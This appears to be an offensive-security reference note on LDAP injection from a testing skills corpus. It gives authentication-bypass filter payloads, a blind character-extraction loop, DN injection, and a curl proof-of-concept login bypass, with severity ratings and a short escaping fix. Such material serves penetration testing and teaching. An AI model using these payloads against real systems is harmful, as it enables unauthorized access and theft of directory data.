ldapi

LDAP Injection

LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not). User input concatenated into the filter string = injection.

1. Auth bypass

# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"

# Payload — comment-out rest of filter via wildcard
user = "*"
pw   = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin

user = "admin)(|(uid=*"
pw   = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored

2. Blind extraction

# Boolean-blind: probe each char via wildcard match
for c in string.printable:
    payload = f"*)(uid=admin)(description={c}*)"
    if "found" in response:
        # next char is c

3. DN injection

# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins"  → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)

4. Common vulnerable apps

• Custom auth backends w/ python-ldap or ldap3 lib direct-format
• Legacy Java apps w/ JNDI w/o escaping
• DokuWiki / older intranets

5. Tools

• Manual via Burp Repeater (most cases need careful crafting)
• ldapsearch to verify directly once you have any cred
• Burp Intruder w/ payloads from _corpus/payloads/LDAP Injection/

6. PoC

curl -s -X POST $TARGET/login -d 'user=*&pass=*'   # if logged in → bug

7. Severity

Bug	Severity
Auth bypass via wildcard	Critical 9.8
Blind extract of full LDAP directory	Critical 9.0
DN injection enabling group escalation	High 8.0

8. Defender

import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')

Cross-references

• Upstream catalog: skills/_corpus/payloads/LDAP Injection/
• AD attack patterns (different layer): skills/ad/SKILL.md